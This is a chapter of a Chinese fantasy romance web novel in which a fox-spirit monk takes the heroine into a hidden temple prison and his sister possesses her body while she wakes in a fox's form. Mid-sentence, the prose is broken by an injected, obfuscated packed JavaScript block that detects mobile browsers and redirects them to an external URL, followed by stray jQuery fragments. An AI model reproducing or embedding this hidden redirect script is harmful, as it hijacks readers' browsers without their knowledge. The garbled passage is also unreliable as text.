15. 第 15 章
作品:《攻略仙君失败后和他共感了》 释缘抱着宁宣出了凉亭,沿着小径一路走到大殿内。
“阿妹,哥哥回来了。”
他仰起头,与神像里另一双眼睛对视片刻,缓缓露出个胜券在握的笑。
神像鼓起的眼睛眨了一下,转瞬间恢复成原样。
释缘将人放到蒲团上,转动香案上第二盘瓜果。
随着瓷盘的旋转,地面发出隆隆的声响,巍峨的神像在震颤中移向一旁,露出底部一人宽的通道。
滚滚灰尘扬起,释缘抬袖遮住口鼻,待烟雾散去,才抱起蒲团上的女子,沿着通道往深处走。
两人衣角消失在洞口之际,神像缓缓归于原位,只剩一道缝隙时,白影极快地掠过,不知从哪儿蹿出只猫儿,凭借小小的身体钻入洞中。
通道里昏暗而潮湿,几乎伸手不见五指,因年久失修,地面凹凸不平。为了避免阿妹摔倒,他特意铺了厚厚一层稻草,倒不算太硌脚。
只是通道年代太久远,时不时就会掉落几块墙皮,偶尔会有石子滚到路边。
释缘行走其间,却如履平地,只因这条唯一通往外界的道路他已经走过成千上万次。
每次回来的心情都很复杂,一方面能见到妹妹他心中欢喜,另一方面又因为无法获得真正的自由而烦躁不已。
不知走了多久,无尽的黑暗里出现一个光点,随着步子的深入,光点越来越大,前方景象渐渐明晰,是一间狭小而简陋的囚室。
壁上火把猎猎摇晃,蜡油由鲛脂所制,可燃千年。
血红的火光照亮地面上并排坐着一大一小两只狐狸,俱被缚灵索捆住手脚、脖颈,锁链拖了长长一地。
小的那只毛发旺盛,呈灰褐色,眼珠子滴溜溜地转,看起来精神尚好,见有人进来,立马欢快地啾啾叫起来。
大的那只眼角有一处暗红色疤痕,身上毛发脱落大半,露出粉白的皮肉,双目呆愣地盯着地面,如果不是微微起伏的胸口,会让人误以为是只假狐狸。
“哥哥,你这回去了好久,再不回来我就要无聊死了。”小灰狐撒娇道。
“阿妹别急,往后咱们兄妹两人再不用分离了。我们可以一道去看寺里的风光,看世人为爱恨嗔痴烦恼。”释缘走到过去蹲下,将怀里的人送到她眼前,“这具皮囊,你看看满意吗?”
小灰狐惊喜瞪大双眼,黑白相间的眸子像水晶般光亮。
她小心翼翼地伸出爪子,刚碰到女子的脸蛋,便被烫地缩回去,几缕毛发烧成灰烬,肉垫焦黑而散发肉香。
它举起受伤的爪子,快乐地尖叫起来。
“我好喜欢,她就是我要找的人!我现在就要,现在就要!”
释缘心疼地揉了揉小灰狐小巧的爪子,温柔道:“现在还不是时候,阿妹再忍忍。等到祭礼那天,阿妹想去哪儿都可以。”
“哼,我讨厌哥哥。”
小灰狐不满地呦一声,趁着释缘没注意,立刻将那只烧伤的爪子盖上女子眉心,肌肤相接的瞬间,它瞳孔一黑,歪头昏了过去。
释缘眉头微皱,轻轻抬起怀中人的下巴,轻斥道:“又调皮。”
“宁宣”睁开眼,亲昵地蹭了蹭他的脖子,从他身上跳下来,如脱线的风筝,眨眼间便跑了出去。
这缚灵锁困得住他们兄妹的躯体,却困不住灵魂,只要有合适的壳子,他们可以自由进出囚室。
但壳子难寻,用不了多久就会腐烂,所以他们只能不断更换,尤以身体强健阳气充足为最佳。
男子比女子阳气更足,更能承受魂魄之力,因而他只需在僧人中任意挑选即可。但阿妹却极难寻到耐用的躯壳,通常刚踏出大殿没几步就溃烂了。
有一回恰巧烂在脸上,半边耳朵掉下来,眼珠滑出眼眶,当场吓昏一个香客。
阿妹不喜男体,上一次出去还是三个月前,释缘知道她呆在这里太久,快要憋出毛病,无奈一笑。
怕她太过兴奋被人看出破绽,便提步追了上去。
良久,宁宣醒来,刚睁开眼就对上一双蓝色深瞳,吓地惊叫出声。
“啾!”
什么东西在叫?
宁宣环顾四周,发现声音的来源好像是她自己,瞬间起了一层鸡皮疙瘩,脊背发毛。
由陆知衡变换而成的白猫就在不远处蹲着,一眨不眨地盯着她,似乎很为难的样子。
宁宣发现有些不对。
她动了动四肢,锁链咔咔摇晃起来,连脖子都被上了锁,根本无法动弹。
她记得前一刻还在和释缘讲仙法,怎么转眼就被锁上了?
而且……她的视角为什么这么低?竟然和猫齐平,难道她是趴在地上的,这是个什么姿势?
宁宣困惑地歪了歪头,忽然嗅到从自己身上散发的恶臭,不仅是身上,这整个房间都被浓浓的尸臭和恶臭充斥。
公子,到底发生了什么?
她想问,出口的话却变成了类似动物的叫声。
“叮叽叮叽叮叽叮叽!”
宁宣又急又无措,长大嘴巴叽叽咕咕向陆知衡求助。
“哟咦喔咦哟咦喔咦!”
在她逐渐混乱的语言系统濒临失控之际,白猫起身走到她面前,抬起白爪子按住她的嘴巴。
被毛绒绒的触感包裹住时,宁宣愣了愣,仿佛有什么在牵引,出于本能地,她伸出小舌头舔了舔。
咸咸的。
但有些上瘾是怎么回事。
紧接着,她从下往上舔了第二口。
不等她回味,耳边炸起一声猫叫。
“喵!”
陆知衡猛地收回手,因被她带歪而懊恼不已。他清了清嗓子,沉声道:“别说话,他们随时会回来。”
小白猫胡须抖了抖,粉粉的小嘴张合,伴随青年低磁的嗓音,这场面要多怪异有多怪异。
宁宣表情扭曲了一瞬,总觉得二者的搭配很违和。
但现在不是思考这个的时候,当务之急是先逃出去,她轻轻地叽了一声,表示自己知道了。
身下簌簌作响,锁链开始收紧,宁宣疼得不行,又不敢发出声音,生生疼出眼泪来。
陆知衡看得愣住。
面前的灰狐狸蓬蓬的脸颊鼓起,双眼耷拉下来,眼底水汪汪的,看起来十分无助,再加上缠了满身的锁链,就更显得可怜兮兮的。
下山以后,他在路上见过许多民间疾苦,自然不会为只动物触动。再惨再可怜的生灵他都见过,实在不算什么。
但一想到这副皮囊下是宁宣,鬼使神差的,他摸了摸她头顶,边顺毛边道:“别怕,我会救你出去。待会释缘回来千万别睁眼,今日阳气重,不适宜夺舍,他们在外边待不久,总归会换回来。”
宁宣一听自己被夺舍了,恍然大悟。难怪自己变小也变矮了,身上还臭臭的,肯定是个不好看的东西。
她当人还没当腻呢,就被人强占了身体,变成了畜生模样!
宁宣越想越心塞,抽抽嗒嗒哭起来,奇怪的是,头顶被爪爪抚摸的触感似乎有安抚人心的作用,痒酥酥,软绵绵的,舒服得灵魂都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874807|176023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟着震颤不已,她渐渐享受地眯上眼睛,止了泪。
陆知衡见她情绪回转便停下动作,谁知刚收回去,小狐狸便急切地瞪大眼睛,直勾勾地望着他。
“嘤嘤嘤~”
她贴过来,用尖尖的嘴巴蹭他的爪子,乖巧得让人难以拒绝。
陆知衡感受着陌生的亲昵,脑海不由浮现她柔软的唇瓣亲吻他掌心的画面。
他神色微怔,内心深处轻柔地荡漾开,卷起一阵涟漪。
“下不为例。”
反正是狐身……
他轻咳一声,默默抚摸她。
外边传来轻快的脚步声,听起来有些雀跃。
陆知衡跳到先前藏身的石壁窟窿里,大尾巴一卷就收进怀中,只露出双眼,像宝石一般隐秘地镶嵌在墙上,散发微弱的光芒。
宁宣记得他的嘱托,立刻闭上眼装死。
脚步声走近了,她听见自己的声音被人用另一种语气诡异地传进来。
“阿妹慢点。郝富那边我已知会,你按部就班即可,切记不要露出马脚。不过郝富此人虽贪婪,却是个痴情种子,未免误事,你要多留几个心眼。”
“哥哥放心,我有分寸的,郝富替我们做了那么多事,早就跟我们绑在一条船上,他就是背叛我们,也落不到好下场!”
“这女子的纯阳之体,是温养魂魄的天然器皿。那男子亦是一生仙骨,可辟邪祛阴。能得此机缘,不枉我们兄妹二人汲汲营营多年。待祭礼后,我们不仅能摆脱缚灵锁,或许还能破了禁制,离开青龙寺,重回故土。”
“好呀好呀,我已经等不及见爹爹和娘了!”
说话声戛然而止,宁宣感觉到身前投下一片阴影。
她不由屏住呼吸,爪子被人抬起来触碰属于人的滑腻肌肤,紧接着一阵头晕目眩,像是被人从口袋里掏出来,塞进另一个箱子,压实、按紧。
电光火石间,她身体一轻,如婴儿回归母体,落入柔软的怀抱。
释缘抱着她,慢吞吞出了甬道,期间几次差点被石子绊倒,将宁宣摔下去,好在有惊无险,总算回了凉亭。
轻柔的湖风吹拂过面庞时,宁宣心中大石落地,悄悄舒了口气。
“施主,醒醒。”
宁宣趴在条桌旁,缓缓睁开眼。
“咦,我怎么睡着了。”她像模像样捂嘴打了个哈欠,“多谢大师叫醒我。”
“无妨,既然施主困乏,不如今日的讲禅到此为止。过几日是三年一度的神宗祭礼,若施主愿意,可担任右护法,为升仙仪式护阵。”
宁宣知晓面前人是狐妖,心里有些发怵,始终低着头。
她木着脸,僵硬道:“恭敬不如从命,有劳大师安排。天色暗了,我先回去准备,过几日再拜见大师。”
她急着离开,也不管他怎么说,撑起身便要走。
就在此时,释缘意味不明地嗤笑一声。
“施主,小僧还有一事相求。”
“请讲。”
“今年有一千信徒参与升仙仪式,宗门内人手不足,不知那位陆仙君是否愿意担任左护法?陆仙君出自沧澜,仙力深厚,想必会事半功倍。”
宁宣拿不准主意,不知如何回复。恰此时,旁边鼾睡的白猫醒来,一举跳上她膝头,小爪子胡乱在她腿上乱刨。
她神色一松,看出那是个“去”字,立马答应下来。
释缘眼底浮现笑意,起身送她出去,两人视线骤然相撞,宁宣眼皮抽动,敏锐地注意到他脸上的红痣消失了。